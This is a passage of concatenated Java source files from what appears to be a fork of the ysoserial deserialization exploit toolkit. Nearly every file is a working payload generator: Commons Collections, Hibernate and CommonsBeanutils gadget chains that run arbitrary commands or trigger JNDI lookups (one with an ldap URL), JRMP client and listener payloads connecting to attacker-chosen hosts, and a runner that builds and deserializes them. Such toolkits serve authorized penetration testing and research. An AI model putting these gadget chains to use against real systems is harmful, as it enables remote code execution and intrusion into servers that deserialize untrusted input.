comparator); 33 | 34 | queue.add(new BigInteger("1")); 35 | queue.add(new BigInteger("1")); 36 | Reflections.setFieldValue(comparator, "property", "databaseMetaData"); 37 | Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 38 | queueArray[0] = rs; 39 | queueArray[1] = rs; 40 | return queue; 41 | } 42 | 43 | public static void main ( String[] args ) throws Exception { 44 | args = new String[]{"jndi:ldap://127.0.0.1:1664/obj"}; 45 | PayloadRunner.run(CommonsBeanutils3.class, args); 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/Strings.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso; 2 | 3 | import org.apache.commons.lang.StringUtils; 4 | 5 | import java.util.Arrays; 6 | import java.util.Comparator; 7 | import java.util.LinkedList; 8 | import java.util.List; 9 | 10 | public class Strings { 11 | public static String join(Iterable strings, String sep, String prefix, String suffix) { 12 | final StringBuilder sb = new StringBuilder(); 13 | boolean first = true; 14 | for (String s : strings) { 15 | if (! first) sb.append(sep); 16 | if (prefix != null) sb.append(prefix); 17 | sb.append(s); 18 | if (suffix != null) sb.append(suffix); 19 | first = false; 20 | } 21 | return sb.toString(); 22 | } 23 | 24 | public static String repeat(String str, int num) { 25 | final String[] strs = new String[num]; 26 | Arrays.fill(strs, str); 27 | return join(Arrays.asList(strs), "", "", ""); 28 | } 29 | 30 | public static List formatTable(List rows) { 31 | final Integer[] maxLengths = new Integer[rows.get(0).length]; 32 | for (String[] row : rows) { 33 | if (maxLengths.length != row.length) throw new IllegalStateException("mismatched columns"); 34 | for (int i = 0; i < maxLengths.length; i++) { 35 | if (maxLengths[i] == null || maxLengths[i] < row[i].length()) { 36 | maxLengths[i] = row[i].length(); 37 | } 38 | } 39 | } 40 | 41 | final List lines = new LinkedList(); 42 | for (String[] row : rows) { 43 | for (int i = 0; i < maxLengths.length; i++) { 44 | final String pad = repeat(" ", maxLengths[i] - row[i].length()); 45 | row[i] = row[i] + pad; 46 | } 47 | lines.add(join(Arrays.asList(row), " ", "", "")); 48 | } 49 | return lines; 50 | } 51 | 52 | public static class ToStringComparator implements Comparator { 53 | public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); } 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/JRMPListener.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | 4 | import java.rmi.server.RemoteObject; 5 | import java.rmi.server.RemoteRef; 6 | import java.rmi.server.UnicastRemoteObject; 7 | 8 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 9 | import me.gv7.woodpecker.yso.payloads.util.Reflections; 10 | import sun.rmi.server.ActivationGroupImpl; 11 | import sun.rmi.server.UnicastServerRef; 12 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 13 | import me.gv7.woodpecker.yso.payloads.annotation.PayloadTest; 14 | 15 | 16 | /** 17 | * Gadget chain: 18 | * UnicastRemoteObject.readObject(ObjectInputStream) line: 235 19 | * UnicastRemoteObject.reexport() line: 266 20 | * UnicastRemoteObject.exportObject(Remote, int) line: 320 21 | * UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383 22 | * UnicastServerRef.exportObject(Remote, Object, boolean) line: 208 23 | * LiveRef.exportObject(Target) line: 147 24 | * TCPEndpoint.exportObject(Target) line: 411 25 | * TCPTransport.exportObject(Target) line: 249 26 | * TCPTransport.listen() line: 319 27 | * 28 | * Requires: 29 | * - JavaSE 30 | * 31 | * Argument: 32 | * - Port number to open listener to 33 | */ 34 | @SuppressWarnings ( { 35 | "restriction" 36 | } ) 37 | @PayloadTest( skip = "This test would make you potentially vulnerable") 38 | @Authors({ Authors.MBECHLER }) 39 | public class JRMPListener extends PayloadRunner implements ObjectPayload { 40 | 41 | public UnicastRemoteObject getObject ( final String command ) throws Exception { 42 | int jrmpPort = Integer.parseInt(command); 43 | UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] { 44 | RemoteRef.class 45 | }, new Object[] { 46 | new UnicastServerRef(jrmpPort) 47 | }); 48 | 49 | Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort); 50 | return uro; 51 | } 52 | 53 | 54 | public static void main ( final String[] args ) throws Exception { 55 | PayloadRunner.run(JRMPListener.class, args); 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/CommonsCollectionsK4.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | import me.gv7.woodpecker.yso.payloads.custom.CommonsCollections4Util; 4 | import org.apache.commons.collections4.Transformer; 5 | import org.apache.commons.collections4.functors.ChainedTransformer; 6 | import org.apache.commons.collections4.functors.ConstantTransformer; 7 | import org.apache.commons.collections4.functors.InvokerTransformer; 8 | import org.apache.commons.collections4.keyvalue.TiedMapEntry; 9 | import org.apache.commons.collections4.map.LazyMap; 10 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 11 | import me.gv7.woodpecker.yso.payloads.annotation.Dependencies; 12 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 13 | import me.gv7.woodpecker.yso.payloads.util.Reflections; 14 | 15 | import java.util.HashMap; 16 | import java.util.HashSet; 17 | import java.util.Map; 18 | 19 | /* 20 | Gadget chain: 21 | java.util.HashMap.readObject() 22 | java.util.HashMap.hash() 23 | TiedMapEntry.hashCode() 24 | TiedMapEntry.getValue() 25 | LazyMap.get() 26 | ChainedTransformer.transform() 27 | */ 28 | @SuppressWarnings({"rawtypes", "unchecked"}) 29 | @Dependencies({"commons-collections:commons-collections4:4.0"}) 30 | @Authors({Authors.KORLR}) 31 | public class CommonsCollectionsK4 extends PayloadRunner implements ObjectPayload { 32 | 33 | public Map getObject(final String command) throws Exception { 34 | final Transformer[] transformers = CommonsCollections4Util.getTransformerList(command); 35 | ChainedTransformer inertChain = new ChainedTransformer(new Transformer[]{}); 36 | HashMap innerMap = new HashMap(); 37 | Map m = LazyMap.lazyMap(innerMap, inertChain); 38 | 39 | Map outerMap = new HashMap(); 40 | TiedMapEntry tied = new TiedMapEntry(m, "v"); 41 | outerMap.put(tied, "t"); 42 | innerMap.clear(); 43 | 44 | Reflections.setFieldValue(inertChain, "iTransformers", transformers); 45 | return outerMap; 46 | } 47 | 48 | public static void main(final String[] args) throws Exception { 49 | PayloadRunner.run(CommonsCollectionsK4.class, args); 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/CommonsCollectionsK3.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | import me.gv7.woodpecker.yso.payloads.custom.CommonsCollectionsUtil; 4 | import org.apache.commons.collections.Transformer; 5 | import org.apache.commons.collections.functors.ChainedTransformer; 6 | import org.apache.commons.collections.functors.ConstantTransformer; 7 | import org.apache.commons.collections.functors.InvokerTransformer; 8 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 9 | import org.apache.commons.collections.map.LazyMap; 10 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 11 | import me.gv7.woodpecker.yso.payloads.annotation.Dependencies; 12 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 13 | import me.gv7.woodpecker.yso.payloads.util.Reflections; 14 | 15 | import java.util.HashMap; 16 | import java.util.HashSet; 17 | import java.util.Map; 18 | 19 | /* 20 | Gadget chain: 21 | java.util.HashMap.readObject() 22 | java.util.HashMap.hash() 23 | TiedMapEntry.hashCode() 24 | TiedMapEntry.getValue() 25 | LazyMap.get() 26 | ChainedTransformer.transform() 27 | */ 28 | @SuppressWarnings({"rawtypes", "unchecked"}) 29 | @Dependencies({"commons-collections:commons-collections:<=3.2.1"}) 30 | @Authors({Authors.KORLR}) 31 | public class CommonsCollectionsK3 extends PayloadRunner implements ObjectPayload { 32 | 33 | public Map getObject(final String command) throws Exception { 34 | final Transformer[] transformers = CommonsCollectionsUtil.getTransformerList(command); 35 | 36 | ChainedTransformer inertChain = new ChainedTransformer(new Transformer[]{}); 37 | 38 | HashMap innerMap = new HashMap(); 39 | Map m = LazyMap.decorate(innerMap, inertChain); 40 | 41 | Map outerMap = new HashMap(); 42 | TiedMapEntry tied = new TiedMapEntry(m, "v"); 43 | outerMap.put(tied, "t"); 44 | innerMap.clear(); 45 | 46 | Reflections.setFieldValue(inertChain, "iTransformers", transformers); 47 | return outerMap; 48 | } 49 | 50 | public static void main(final String[] args) throws Exception { 51 | PayloadRunner.run(CommonsCollectionsK3.class, args); 52 | } 53 | } 54 | -------------------------------------------------------------------------------- /src/test/java/me/gv7/woodpecker/yso/test/payloads/TestHarnessTest.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.test.payloads; 2 | 3 | import java.io.IOException; 4 | import java.io.ObjectInputStream; 5 | import java.io.Serializable; 6 | 7 | import org.hamcrest.CoreMatchers; 8 | import org.junit.Assert; 9 | import org.junit.Test; 10 | import me.gv7.woodpecker.yso.payloads.ObjectPayload; 11 | 12 | public class TestHarnessTest { 13 | // make sure test harness fails properly 14 | @Test 15 | public void testHarnessExecFail() throws Exception { 16 | try { 17 | PayloadsTest.testPayload(NoopMockPayload.class, new Class[0]); 18 | Assert.fail("should have failed"); 19 | } catch (AssertionError e) { 20 | Assert.assertThat(e.getMessage(), CoreMatchers.containsString("test file should exist")); 21 | 22 | } 23 | } 24 | 25 | // make sure test harness fails properly 26 | @Test 27 | public void testHarnessClassLoaderFail() throws Exception { 28 | try { 29 | PayloadsTest.testPayload(ExecMockPayload.class, new Class[0]); 30 | Assert.fail("should have failed"); 31 | } catch (AssertionError e) { 32 | //Assert.assertThat(e.getMessage(), CoreMatchers.containsString("ClassNotFoundException")); 33 | } 34 | } 35 | 36 | // make sure test harness passes properly with trivial execution gadget 37 | @Test 38 | public void testHarnessExecPass() throws Exception { 39 | PayloadsTest.testPayload(ExecMockPayload.class, new Class[] { ExecMockSerializable.class }); 40 | } 41 | 42 | public static class ExecMockPayload implements ObjectPayload { 43 | public ExecMockSerializable getObject(String command) throws Exception { 44 | return new ExecMockSerializable(command); 45 | } 46 | } 47 | 48 | public static class NoopMockPayload implements ObjectPayload { 49 | public Integer getObject(String command) throws Exception { 50 | return 1; 51 | } 52 | } 53 | 54 | @SuppressWarnings("serial") 55 | public static class ExecMockSerializable implements Serializable { 56 | private final String cmd; 57 | public ExecMockSerializable(String cmd) { this.cmd = cmd; } 58 | 59 | private void readObject(final ObjectInputStream ois) throws IOException, ClassNotFoundException { 60 | ois.defaultReadObject(); 61 | try { 62 | Runtime.getRuntime().exec(cmd); 63 | } catch (IOException e) { 64 | throw new RuntimeException(e); 65 | } 66 | } 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/Hibernate2.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | 4 | import me.gv7.woodpecker.yso.payloads.util.JavaVersion; 5 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 6 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 7 | import me.gv7.woodpecker.yso.payloads.annotation.PayloadTest; 8 | 9 | import com.sun.rowset.JdbcRowSetImpl; 10 | 11 | 12 | /** 13 | * 14 | * Another application filter bypass 15 | * 16 | * Needs a getter invocation that is provided by hibernate here 17 | * 18 | * javax.naming.InitialContext.InitialContext.lookup() 19 | * com.sun.rowset.JdbcRowSetImpl.connect() 20 | * com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData() 21 | * org.hibernate.property.access.spi.GetterMethodImpl.get() 22 | * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue() 23 | * org.hibernate.type.ComponentType.getPropertyValue(C) 24 | * org.hibernate.type.ComponentType.getHashCode() 25 | * org.hibernate.engine.spi.TypedValue$1.initialize() 26 | * org.hibernate.engine.spi.TypedValue$1.initialize() 27 | * org.hibernate.internal.util.ValueHolder.getValue() 28 | * org.hibernate.engine.spi.TypedValue.hashCode() 29 | * 30 | * 31 | * Requires: 32 | * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only) 33 | * 34 | * Arg: 35 | * - JNDI name (i.e. rmi:) 36 | * 37 | * Yields: 38 | * - JNDI lookup invocation (e.g. connect to remote RMI) 39 | * 40 | * @author mbechler 41 | */ 42 | @SuppressWarnings ( { 43 | "restriction" 44 | } ) 45 | @PayloadTest(harness="ysoserial.test.payloads.JRMPReverseConnectTest", precondition = "isApplicableJavaVersion") 46 | @Authors({ Authors.MBECHLER }) 47 | public class Hibernate2 implements ObjectPayload, DynamicDependencies { 48 | public static boolean isApplicableJavaVersion() { 49 | return JavaVersion.isAtLeast(7); 50 | } 51 | 52 | public static String[] getDependencies () { 53 | return Hibernate1.getDependencies(); 54 | } 55 | 56 | public Object getObject ( String command ) throws Exception { 57 | JdbcRowSetImpl rs = new JdbcRowSetImpl(); 58 | rs.setDataSourceName(command); 59 | return Hibernate1.makeCaller(rs,Hibernate1.makeGetter(rs.getClass(), "getDatabaseMetaData") ); 60 | } 61 | 62 | 63 | public static void main ( final String[] args ) throws Exception { 64 | PayloadRunner.run(Hibernate2.class, args); 65 | } 66 | } 67 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/CommonsCollections11.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 4 | import me.gv7.woodpecker.yso.payloads.annotation.Dependencies; 5 | import me.gv7.woodpecker.yso.payloads.annotation.PayloadTest; 6 | import me.gv7.woodpecker.yso.payloads.util.Gadgets; 7 | import me.gv7.woodpecker.yso.payloads.util.JavaVersion; 8 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 9 | import me.gv7.woodpecker.yso.payloads.util.Reflections; 10 | import org.apache.commons.collections.functors.InvokerTransformer; 11 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 12 | import org.apache.commons.collections.map.LazyMap; 13 | 14 | import javax.management.BadAttributeValueExpException; 15 | import java.lang.reflect.Field; 16 | import java.util.HashMap; 17 | import java.util.Map; 18 | 19 | @SuppressWarnings({"rawtypes", "unchecked"}) 20 | @PayloadTest(precondition = "isApplicableJavaVersion") 21 | @Dependencies({"commons-collections:modify from Payload commons-collections5"}) 22 | @Authors({ Authors.BEIYING}) 23 | public class CommonsCollections11 extends PayloadRunner implements ObjectPayload { 24 | 25 | public BadAttributeValueExpException getObject(final String command) throws Exception { 26 | Object templates = Gadgets.createTemplatesImpl(command); 27 | 28 | final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 29 | final Map innerMap = new HashMap(); 30 | final Map lazyMap = LazyMap.decorate(innerMap, transformer); 31 | TiedMapEntry entry = new TiedMapEntry(lazyMap, templates); 32 | BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); 33 | Field valfield = badAttributeValueExpException.getClass().getDeclaredField("val"); 34 | Reflections.setAccessible(valfield); 35 | valfield.set(badAttributeValueExpException, entry); 36 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 37 | return badAttributeValueExpException; 38 | } 39 | 40 | public static void main(final String[] args) throws Exception { 41 | PayloadRunner.run(CommonsCollections11.class, args); 42 | } 43 | 44 | public static boolean isApplicableJavaVersion() { 45 | return JavaVersion.isBadAttrValExcReadObj(); 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/JRMPClient2.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | import java.lang.reflect.Proxy; 4 | import java.rmi.activation.Activator; 5 | import java.rmi.server.ObjID; 6 | import java.rmi.server.RemoteObjectInvocationHandler; 7 | import java.util.Random; 8 | 9 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 10 | import me.gv7.woodpecker.yso.payloads.annotation.PayloadTest; 11 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 12 | import sun.rmi.server.UnicastRef; 13 | import sun.rmi.transport.LiveRef; 14 | import sun.rmi.transport.tcp.TCPEndpoint; 15 | 16 | @SuppressWarnings ( { 17 | "restriction" 18 | } ) 19 | @PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest") 20 | @Authors({ Authors.MBECHLER,Authors.C0NY1 }) 21 | public class JRMPClient2 extends PayloadRunner implements ObjectPayload { 22 | public JRMPClient2() { 23 | } 24 | 25 | public Activator getObject(String command) throws Exception { 26 | String host; 27 | int port; 28 | int objId; 29 | 30 | String[] cmds = command.split("\\:"); 31 | if(cmds.length == 1){ 32 | host = cmds[0]; 33 | port = new Random().nextInt(65535); 34 | objId = new Random().nextInt(); 35 | }else if(cmds.length == 2){ 36 | host = cmds[0]; 37 | port = Integer.valueOf(cmds[1]); 38 | objId = new Random().nextInt(); 39 | }else if(cmds.length == 3){ 40 | host = cmds[0]; 41 | port = Integer.valueOf(cmds[1]); 42 | objId = Integer.valueOf(cmds[2]); 43 | }else{ 44 | throw new Exception("Usage: -a host:port:obj_id"); 45 | } 46 | 47 | ObjID objID = new ObjID((new Random()).nextInt()); 48 | TCPEndpoint tcpEndpoint = new TCPEndpoint(host, port); 49 | UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, tcpEndpoint, false)); 50 | RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef); 51 | Activator object = (Activator)Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[]{Activator.class}, remoteObjectInvocationHandler); 52 | return object; 53 | } 54 | 55 | public static void main(String[] args) throws Exception { 56 | Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader()); 57 | PayloadRunner.run(JRMPClient2.class, args); 58 | } 59 | } 60 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/util/PayloadRunner.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads.util; 2 | 3 | import java.io.File; 4 | import java.util.concurrent.Callable; 5 | 6 | import me.gv7.woodpecker.yso.Deserializer; 7 | import me.gv7.woodpecker.yso.Serializer; 8 | import static me.gv7.woodpecker.yso.Deserializer.deserialize; 9 | import static me.gv7.woodpecker.yso.Serializer.serialize; 10 | import me.gv7.woodpecker.yso.payloads.ObjectPayload; 11 | import me.gv7.woodpecker.yso.payloads.ObjectPayload.Utils; 12 | import me.gv7.woodpecker.yso.secmgr.ExecCheckingSecurityManager; 13 | 14 | /* 15 | * utility class for running exploits locally from command line 16 | */ 17 | @SuppressWarnings("unused") 18 | public class PayloadRunner { 19 | 20 | public static void run(final Class> clazz, final String[] args) throws Exception { 21 | // ensure payload generation doesn't throw an exception 22 | byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable(){ 23 | public byte[] call() throws Exception { 24 | final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd(); 25 | 26 | System.out.println("generating payload object(s) for command: '" + command + "'"); 27 | 28 | ObjectPayload payload = clazz.newInstance(); 29 | final Object objBefore = payload.getObject(command); 30 | 31 | System.out.println("serializing payload"); 32 | byte[] ser = Serializer.serialize(objBefore); 33 | Utils.releasePayload(payload, objBefore); 34 | return ser; 35 | }}); 36 | 37 | try { 38 | System.out.println("deserializing payload"); 39 | final Object objAfter = Deserializer.deserialize(serialized); 40 | } catch (Exception e) { 41 | e.printStackTrace(); 42 | } 43 | 44 | } 45 | 46 | private static String getDefaultTestCmd() { 47 | String cmdfile = getFirstExistingFile( 48 | "C:\\Windows\\System32\\calc.exe", 49 | "/System/Applications/Calculator.app/Contents/MacOS/Calculator", 50 | "/usr/bin/gnome-calculator", 51 | "/usr/bin/kcalc" 52 | ); 53 | return String.format("raw_cmd:%s",cmdfile); 54 | } 55 | 56 | private static String getFirstExistingFile(String ... files) { 57 | for (String path : files) { 58 | if (new File(path).exists()) { 59 | return path; 60 | } 61 | } 62 | throw new UnsupportedOperationException("no known test executable"); 63 | } 64 | } 65 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/CommonsCollections6Lite.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 4 | import me.gv7.woodpecker.yso.payloads.annotation.Dependencies; 5 | import me.gv7.woodpecker.yso.payloads.custom.CommonsCollectionsUtil; 6 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 7 | import org.apache.commons.collections.Transformer; 8 | import org.apache.commons.collections.functors.ChainedTransformer; 9 | import org.apache.commons.collections.functors.ConstantTransformer; 10 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 11 | import org.apache.commons.collections.map.LazyMap; 12 | 13 | import java.lang.reflect.Field; 14 | import java.util.HashMap; 15 | import java.util.Map; 16 | 17 | /* 18 | java.util.HashMap.readObject() 19 | java.util.HashMap.hash() 20 | org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() 21 | org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() 22 | org.apache.commons.collections.map.LazyMap.get() 23 | org.apache.commons.collections.functors.ChainedTransformer.transform() 24 | org.apache.commons.collections.functors.InvokerTransformer.transform() 25 | java.lang.reflect.Method.invoke() 26 | java.lang.Runtime.exec() 27 | */ 28 | @Dependencies({"commons-collections:commons-collections:3.1"}) 29 | @Authors({ Authors.MATTHIASKAISER }) 30 | public class CommonsCollections6Lite implements ObjectPayload{ 31 | @Override 32 | public Object getObject(String command) throws Exception { 33 | Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)}; 34 | Transformer[] transformers = CommonsCollectionsUtil.getTransformerList(command); 35 | Transformer transformerChain = new ChainedTransformer(fakeTransformers); 36 | Map innerMap = new HashMap(); 37 | Map outerMap = LazyMap.decorate(innerMap, transformerChain); 38 | TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey"); 39 | Map expMap = new HashMap(); 40 | expMap.put(tme, "valuevalue"); 41 | outerMap.remove("keykey"); 42 | 43 | Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); 44 | f.setAccessible(true); 45 | f.set(transformerChain, transformers); 46 | return expMap; 47 | } 48 | 49 | public static void main(String[] args) throws Exception { 50 | PayloadRunner.run(CommonsCollections6Lite.class, args); 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/FindClassByDNS.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 4 | import me.gv7.woodpecker.yso.payloads.annotation.Dependencies; 5 | import me.gv7.woodpecker.yso.payloads.annotation.PayloadTest; 6 | import me.gv7.woodpecker.yso.payloads.util.ClassUtil; 7 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 8 | import me.gv7.woodpecker.yso.payloads.util.Reflections; 9 | 10 | import java.io.*; 11 | import java.net.InetAddress; 12 | import java.net.URL; 13 | import java.net.URLConnection; 14 | import java.net.URLStreamHandler; 15 | import java.util.HashMap; 16 | 17 | @SuppressWarnings({ "rawtypes", "unchecked" }) 18 | @PayloadTest(skip = "true") 19 | @Dependencies() 20 | @Authors({ Authors.NOPOINT,Authors.C0NY1 }) 21 | public class FindClassByDNS implements ObjectPayload { 22 | 23 | public Object getObject(final String command) throws Exception { 24 | 25 | String[] cmds = command.split("\\|"); 26 | 27 | if(cmds.length != 2){ 28 | System.out.println("|"); 29 | return null; 30 | } 31 | 32 | String url = cmds[0]; 33 | String clazzName = cmds[1]; 34 | 35 | URLStreamHandler handler = new SilentURLStreamHandler(); 36 | HashMap ht = new HashMap(); 37 | URL u = new URL(null, url, handler); 38 | ht.put(u, ClassUtil.genClass(clazzName)); 39 | Reflections.setFieldValue(u, "hashCode", -1); 40 | return ht; 41 | } 42 | 43 | /** 44 | *

This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance. 45 | * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior 46 | * using the serialized object.

47 | * 48 | * Potential false negative: 49 | *

If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the 50 | * second resolution.

51 | */ 52 | static class SilentURLStreamHandler extends URLStreamHandler { 53 | 54 | protected URLConnection openConnection(URL u) throws IOException { 55 | return null; 56 | } 57 | 58 | protected synchronized InetAddress getHostAddress(URL u) { 59 | return null; 60 | } 61 | } 62 | 63 | 64 | public static void main(final String[] args) throws Exception { 65 | PayloadRunner.run(FindClassByDNS.class, args); 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/CommonsCollections4.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | import java.util.PriorityQueue; 4 | import java.util.Queue; 5 | 6 | import javax.xml.transform.Templates; 7 | 8 | import me.gv7.woodpecker.yso.payloads.util.Gadgets; 9 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 10 | import me.gv7.woodpecker.yso.payloads.util.Reflections; 11 | import org.apache.commons.collections4.Transformer; 12 | import org.apache.commons.collections4.comparators.TransformingComparator; 13 | import org.apache.commons.collections4.functors.ChainedTransformer; 14 | import org.apache.commons.collections4.functors.ConstantTransformer; 15 | import org.apache.commons.collections4.functors.InstantiateTransformer; 16 | 17 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 18 | import me.gv7.woodpecker.yso.payloads.annotation.Dependencies; 19 | 20 | import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; 21 | 22 | /* 23 | * Variation on CommonsCollections2 that uses InstantiateTransformer instead of 24 | * InvokerTransformer. 25 | */ 26 | @SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) 27 | @Dependencies({"org.apache.commons:commons-collections4:4.0"}) 28 | @Authors({ Authors.FROHOFF }) 29 | public class CommonsCollections4 implements ObjectPayload> { 30 | 31 | public Queue getObject(final String command) throws Exception { 32 | Object templates = Gadgets.createTemplatesImpl(command); 33 | 34 | ConstantTransformer constant = new ConstantTransformer(String.class); 35 | 36 | // mock method name until armed 37 | Class[] paramTypes = new Class[] { String.class }; 38 | Object[] args = new Object[] { "foo" }; 39 | InstantiateTransformer instantiate = new InstantiateTransformer( 40 | paramTypes, args); 41 | 42 | // grab defensively copied arrays 43 | paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes"); 44 | args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs"); 45 | 46 | ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate }); 47 | 48 | // create queue with numbers 49 | PriorityQueue queue = new PriorityQueue(2, new TransformingComparator(chain)); 50 | queue.add(1); 51 | queue.add(1); 52 | 53 | // swap in values to arm 54 | Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class); 55 | paramTypes[0] = Templates.class; 56 | args[0] = templates; 57 | 58 | return queue; 59 | } 60 | 61 | public static void main(final String[] args) throws Exception { 62 | PayloadRunner.run(CommonsCollections4.class, args); 63 | } 64 | } 65 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/CommonsCollections8.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 4 | import me.gv7.woodpecker.yso.payloads.annotation.Dependencies; 5 | import me.gv7.woodpecker.yso.payloads.util.Gadgets; 6 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 7 | import me.gv7.woodpecker.yso.payloads.util.Reflections; 8 | import org.apache.commons.collections4.bag.TreeBag; 9 | import org.apache.commons.collections4.comparators.TransformingComparator; 10 | import org.apache.commons.collections4.functors.InvokerTransformer; 11 | 12 | /* 13 | 14 | https://github.com/wh1t3p1g/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections8.java 15 | 16 | Gadget chain: 17 | org.apache.commons.collections4.bag.TreeBag.readObject 18 | org.apache.commons.collections4.bag.AbstractMapBag.doReadObject 19 | java.util.TreeMap.put 20 | java.util.TreeMap.compare 21 | org.apache.commons.collections4.comparators.TransformingComparator.compare 22 | org.apache.commons.collections4.functors.InvokerTransformer.transform 23 | java.lang.reflect.Method.invoke 24 | sun.reflect.DelegatingMethodAccessorImpl.invoke 25 | sun.reflect.NativeMethodAccessorImpl.invoke 26 | sun.reflect.NativeMethodAccessorImpl.invoke0 27 | com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer 28 | ... (TemplatesImpl gadget) 29 | java.lang.Runtime.exec 30 | */ 31 | @SuppressWarnings({"rawtypes", "unchecked"}) 32 | @Dependencies({"org.apache.commons:commons-collections4:4.0"}) 33 | @Authors({ Authors.NAVALORENZO}) 34 | public class CommonsCollections8 extends PayloadRunner implements ObjectPayload { 35 | 36 | public TreeBag getObject(final String command) throws Exception { 37 | Object templates = Gadgets.createTemplatesImpl(command); 38 | 39 | // setup harmless chain 40 | final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 41 | 42 | // define the comparator used for sorting 43 | TransformingComparator comp = new TransformingComparator(transformer); 44 | 45 | // prepare CommonsCollections object entry point 46 | TreeBag tree = new TreeBag(comp); 47 | tree.add(templates); 48 | 49 | // arm transformer 50 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 51 | 52 | return tree; 53 | } 54 | 55 | public static void main(String[] args) throws Exception { 56 | PayloadRunner.run(CommonsCollections8.class, args); 57 | } 58 | 59 | } 60 | -------------------------------------------------------------------------------- 